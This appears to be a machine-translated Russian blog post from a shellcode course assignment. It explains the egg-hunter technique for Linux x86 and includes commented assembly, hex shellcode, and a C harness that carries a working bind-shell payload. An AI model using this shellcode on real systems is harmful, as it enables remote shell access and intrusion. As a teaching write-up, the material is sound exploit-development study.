Следующий пост представляет собой анализ шелл-кода охотника за яйцами для Linux x86. В посте рассматривается следующее:
- Объяснение шелл-кода охотника за яйцами с рабочей демонстрацией
- Объяснение того, как настроить различные полезные нагрузки
Шелл-код Egg Hunter сканирует виртуальное адресное пространство в поисках заранее заданного шаблона. Как только этот шаблон обнаружен, выполняются последующие инструкции в памяти, эти инструкции являются полезной нагрузкой эксплойта. Шелл-код Egg Hunter помогает решить проблему, когда есть уязвимость, которую можно использовать, однако место для шелл-кода ограничено и недостаточно для полной полезной нагрузки.
Чтобы шеллкод охотника за яйцами был эффективным, должен существовать альтернативный способ хранения полезной нагрузки в памяти. В качестве иллюстрации представьте себе программу командной строки foo
. foo
принимает два аргумента bar
и baz
. bar
уязвим к переполнению стека, а baz
— нет. bar
ограничен вводом менее 50 байтов, тогда как baz
может занимать более 100 байтов. Это прекрасная возможность для шелл-кода охотника за яйцами. bar
можно использовать с шелл-кодом охотника за яйцами, а baz
может хранить полезную нагрузку.
Чтобы полностью понять код скорлупы охотника за яйцами, настоятельно рекомендуется прочитать статью Мэтта Миллера, доступную здесь. Следующий демо-код взят из статьи Мэтта Миллера. В этой статье Мэтт описывает три различные реализации для Linux. Версия, представленная в этом посте, является реализацией. Шелл-код показан ниже с комментариями:
global _start section .text _start: mov ebx,0x50905090 ;our egg xor ecx, ecx ; zero edx mul ecx ;Doubleword EAX r/m32 EDX:EAX zeros eax and edx inc_page: or dx, 0xfff ;4095 inc_mem: inc edx ;add 1 gives 4096 which is PAGE_SIZE pusha ;push registers lea ebx, [edx + 0x4] mov al, 0x21 ;access for soft-int on next instruction int 0x80 cmp al, 0xf2 ;cmp if return value is equal to EFAULT (invalid memory) popa ;restore registers jz inc_page ;if invalid go to inc_page cmp [edx], ebx ;check if first 4 bytes are equal to egg jnz inc_mem ;if not go to inc_me cmp [edx + 0x4], ebx ;check if next 4 bytes are equal to egg jnz inc_mem ;if not go to inc_mem jmp edx ;if all 8 bytes are equal to egg we found our shell code so jmp to it
Код оболочки охотника за яйцами готов, поэтому соберите и свяжите:
nasm -f elf32 -o egg_hunter.o egg_hunter.nasm ld -z execstack -o egg_hunter egg_hunter.o
Шестнадцатеричный код оболочки egghunter:
\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2
Чтобы имитировать вариант использования охотника за яйцами, код C для тестирования шелл-кода должен быть немного изменен, как показано ниже:
#include <stdio.h> #include <string.h> //shellcode.c unsigned char egghunter[]= \ "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"; unsigned char code[] = \ /** egg **/ "\x90\x50\x90\x50\x90\x50\x90\x50" /*bind shell code from assignment 1. INSERT ANY PAYLOAD AFTER THIS COMMENT*/ "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb3\x04\x6a\x01\x56\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x52\x52\x56\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x89\xd1\xb0\x3f\xcd\x80\xb1\x01\xb0\x3f\xcd\x80\xb1\x02\xb0\x3f\xcd\x80\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Egghunter Length: %d\n", strlen(egghunter)); printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())egghunter; ret(); }
Скомпилируйте файл shellcode.c:
gcc -fno-stack-protector -z execstack shellcode.c -o shell
Затем запустите охотник за яйцами и подключитесь!
Чтобы настроить различные полезные нагрузки, просто поместите свой собственный шеллкод после комментария, указанного в файле шеллкод.c.
Репозиторий Git: https://github.com/bopearce/slae
Это сообщение в блоге было создано для выполнения требований сертификации SecurityTube Linux Assembly Expert:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/< br /> студенческий билет: SLAE-1194